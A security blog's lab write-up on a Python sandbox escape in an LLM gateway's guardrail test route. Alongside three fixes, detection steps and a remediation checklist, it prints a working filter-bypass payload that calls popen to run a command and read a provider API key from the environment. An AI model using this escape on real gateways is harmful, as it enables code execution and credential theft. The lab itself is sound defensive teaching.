Lab in this post. The Docker lab is a small replica gateway that reproduces the bug class, not LiteLLM itself: same route, same design mistake, fake secrets,
127.0.0.1only. You will watch a text filter reject an obvious payload, bypass it, steal a fake provider key, then re-test three different fixes. The exploit script refuses any non-local target.
What happened: CVE-2026-40217 and the KEV listing
LiteLLM is a widely used open-source LLM gateway: one OpenAI-style API in front of many model providers, with virtual keys, budgets and guardrails. That makes it a high-value target, because the proxy holds the upstream provider keys.
Here is what the primary sources confirm.
- The bug. NVD describes remote code execution "via bytecode rewriting at the /guardrails/test_custom_code URI", mapped to CWE-420 (unprotected alternate channel) and CWE-94 (code injection). CVSS 3.1 is 8.8 (
AV:N/AC:L/PR:L/UI:N). - The discoverer. X41 D-SEC identified it on 13 February 2026 and published advisory X41-2026-001 on 8 April 2026 after the coordinated-disclosure embargo ran out.
- The listing. CISA’s KEV catalog lists it with an added date of 18 November 2026 and an action due date of 2 December 2026. CISA’s own SSVC data in NVD records exploitation as "active".
- Who can reach it. The GitHub advisory (GHSA-wxxx-gvqv-xp7p) says reaching the route needs a proxy-admin credential in default configurations. X41 says the master key. That lowers the exposure, but it does not remove it: master keys leak through logs, CI variables and shared admin dashboards.
- The fix. The affected range is
>= 1.81.8, < 1.83.10. The advisory’s own text says the sandbox was replaced with RestrictedPython and tells you to upgrade to 1.83.11 or later, while its machine-readable field lists 1.83.10 as the first patched version. Until that is cleared up, take 1.83.11 or later.
Two things this post does not claim: who is exploiting it, or how. Reporting names a threat-intelligence source we could not find, so we leave it out.
The design mistake: an unprotected alternate channel
Guardrails let you run custom Python on every request. To test one, an admin pastes code into a test endpoint and sees the result. The mistake is where that code runs: inside the gateway process, with the gateway’s privileges, behind a sandbox built from two parts.
- A source-text filter. A regex that rejects scary words:
import,os,open,globals, double underscores. - A trimmed set of builtins. Dangerous functions are removed, and a few helpful ones are left in.
The first part inspects what the code says. The second assumes the code can only reach what it was handed. Python gives the attacker both for free: attribute names are just strings, and every object leads back to object and the whole class graph. The filter never sees a forbidden word if the code assembles it at run time.

X41 describes the real bypass as two techniques: building blocked names at run time, and manipulating a function’s code object (bytecode) to reach unrestricted builtins. Our replica uses a simpler object-graph walk. It is the same lesson, with an easier-to-read payload.
Lab setup: LiteLLM-style guardrail gateway replica
- Requirements
- Docker with Compose, bash and curl (Linux, macOS or WSL), Python 3 on the host, and free ports 4000 to 4003 on loopback.
- SHA-256
df8985df0ddf4223eb6980853a8cde5dc66b98b42b9b50be1f9e2f775da2b7b6
How to check the file is genuine
sha256sum litellm-lab.zipshasum -a 256 litellm-lab.zipGet-FileHash litellm-lab.zipThe lab is four copies of the same small gateway on 127.0.0.1: one vulnerable, and one for each fix. Download it from the lab card above, bring it up with one command and follow along. Everything here was run for this write-up on a normal laptop with Docker, and the outputs below are real captures, not reconstructions.
| Port | Gateway | What it shows |
|---|---|---|
| 4000 | Vulnerable | The route runs submitted Python in the gateway process |
| 4001 | Fix 1 | The route is removed |
| 4002 | Fix 2 | A reverse proxy blocks the route |
| 4003 | Fix 3 | The code runs in an isolated, unprivileged worker |
Step 1: recon, and the filter doing its job
The gateway answers on port 4000. An unauthenticated POST to the route gets a 401, not a 404, which tells you the route exists and wants a key.

Now send the obvious payload, import os and a call to run id. The filter rejects it with a 400. This is the point where many teams would call the feature "sandboxed". It isn’t. It is only blocking the words.
Step 2: the bypass
The payload builds each blocked name from pieces, so none of them ever appears in the submitted source.
u = "_" * 2
def d(o, n):
return getattr(o, u + n + u) # d(x, "class") == x.__class__
def apply_guardrail(i):
base = d(d((), "class"), "base") # object
for c in d(base, "subclasses")(): # every class in the process
if d(c, "name") == "_wrap_close": # a class defined inside the os module
g = d(d(c, "init"), "glo" + "bals")
return g["po" + "pen"]("id; echo KEY=$PROVIDER_API_KEY").read()
Nothing here contains __, import or os. The filter passes it, getattr was left in the builtins, and the code walks from an empty tuple to a function whose globals include a way to start a process. The gateway runs it as root and the fake provider key sits in the process environment.

That is the impact in one screenshot: code execution as root and the upstream credential. In a real deployment that credential is a live provider key with a budget attached.
Step 3: fix it, three ways
Each fix cuts the chain at a different point, so test all three.
| Fix | What it does | Result in the lab |
|---|---|---|
| 1. Remove the route | The feature is off unless you opt in. | 404, nothing to exploit |
| 2. Block at the proxy | Reverse proxy returns 403 for the path. The workaround from the advisory while you cannot upgrade. | 403, blocked from outside |
| 3. Isolate the runner | Code runs in a child process with an empty environment, resource limits, a timeout and no root. | Escape still works, finds nothing |

Fix 3 is the honest one. We kept the same weak sandbox inside the child on purpose, and the escape still runs. It gets an unprivileged user with no secrets, no network keys and a three-second limit. The sandbox is not the security boundary; the process around it is.
On the real product, upgrade to 1.83.11 or later. Upstream replaced the hand-rolled sandbox with RestrictedPython. Treat that as defence in depth rather than a boundary, for the reason above.
Step 4: am I exposed? Hunt for it
Check exposure first.
scripts/exposure-check.sh https://your-gateway.example.com
# OK = 404/403/410: route not reachable
# EXPOSED = 401/200: route answers, block it or upgrade
Then check your logs. A normal admin test is rare. A burst of 400s from one client followed by a 200 is filter probing followed by a bypass.

Also check, in this order:
- Access logs and proxy logs for any POST to
/guardrails/test_custom_code, especially a 200. - Egress from the gateway host or container to anything unexpected, and any child processes of the gateway such as
shorid. - Provider keys and the master key. If the route was reachable and the gateway was not upgraded, assume they were read and rotate them.
- Who holds the master key. Fewer humans, no CI variables, no shared dashboards.
Remediation checklist
- Upgrade LiteLLM to 1.83.11 or later (affected:
>= 1.81.8, < 1.83.10). - Until then, block
POST /guardrails/test_custom_codeat the reverse proxy or API gateway. - Restrict the management interface with firewall rules or security groups.
- Run the container as an unprivileged user, read-only, with capabilities dropped.
- Keep upstream provider keys out of the gateway’s environment where you can, and scope and budget them.
- Rotate the master key and provider keys if the route was reachable on an unpatched gateway.
Reproduction notes: what this lab is and is not
- Replica, not LiteLLM. The gateway is our own small FastAPI app. It contains no LiteLLM code and does not prove anything about a specific LiteLLM version.
- A different payload. X41 describes bytecode manipulation of a code object. We use an object-graph walk, which teaches the same lesson with less code.
- Fake secrets, local only. The provider key is a made-up string, every port is bound to
127.0.0.1, and the exploit script refuses a non-local target. - Verified here. The screenshots are real output from this lab on a Linux laptop with Docker. Each fix was run against the same exploit.
- Not verified by us. We did not run the real LiteLLM image, and we did not confirm who is exploiting the bug in the wild.
FAQ
Is LiteLLM CVE-2026-40217 exploited in the wild?
CISA added it to the KEV catalog on 18 November 2026, which means CISA has evidence of exploitation. Details of who and how have not been confirmed by the primary sources we could check.
Do I need to be authenticated to exploit it?
Yes, with the proxy-admin credential, which X41 identifies as the master key. That is a real barrier but not a strong one, since master keys leak.
How do I block it right now?
Block POST /guardrails/test_custom_code at your reverse proxy or API gateway. The lab’s proxy/nginx.conf shows the one-line rule.
Which versions are affected, and which fixes it?
The GitHub advisory lists >= 1.81.8, < 1.83.10. Use 1.83.11 or later, because the advisory text names that version.
Why can’t a Python blocklist sandbox be secure?
A blocklist checks the text of the code, but Python lets code construct names, reach classes through any object and rewrite its own bytecode. Isolation has to happen outside the interpreter: a separate process, no secrets, no privileges, and a hard timeout.
Key takeaways
- Do not run user-supplied code in the process that holds your secrets. That is the whole bug.
- A filter on source text is not a sandbox. The attacker controls how names are built.
- Test the blast radius, not only the bug. The isolated worker is still escapable and still safe.
- Admin-only is not safe. The master key is one leaked variable away from the attacker.
- AI infrastructure is ordinary infrastructure. Gateways, proxies and tool runners get the same RCE bugs as everything else.
Lab reference: files, run steps and clean-up
litellm-lab/
docker-compose.yml README.md
gateway/ app.py Dockerfile (the replica gateway: vulnerable + fixed modes)
proxy/ nginx.conf (fix 2: block the route at the edge)
exploit/ exploit.py (local-only proof: runs `id`, looks for the fake key)
scripts/ exposure-check.sh detect.sh
unzip litellm-lab.zip && cd litellm-lab
docker compose up -d --build # four gateways, all on 127.0.0.1
python3 exploit/exploit.py http://127.0.0.1:4000 # vulnerable
python3 exploit/exploit.py http://127.0.0.1:4001 # fix 1
python3 exploit/exploit.py http://127.0.0.1:4002 # fix 2
python3 exploit/exploit.py http://127.0.0.1:4003 # fix 3
docker compose down # stop and remove the containers
The exploit script only proves code execution with id against the replica, and it refuses any non-local target. Nothing is sent outside 127.0.0.1.
References
- NVD — CVE-2026-40217
- X41 D-SEC — Advisory X41-2026-001, Guardrail Sandbox Escape in LiteLLM
- GitHub Advisory GHSA-wxxx-gvqv-xp7p — LiteLLM has a sandbox escape in custom-code guardrail
- CISA Known Exploited Vulnerabilities catalog — CVE-2026-40217 (added 2026-11-18, due 2026-12-02)
Lab by the dhacker Security Research & Labs team. Educational use only: run it against systems you own.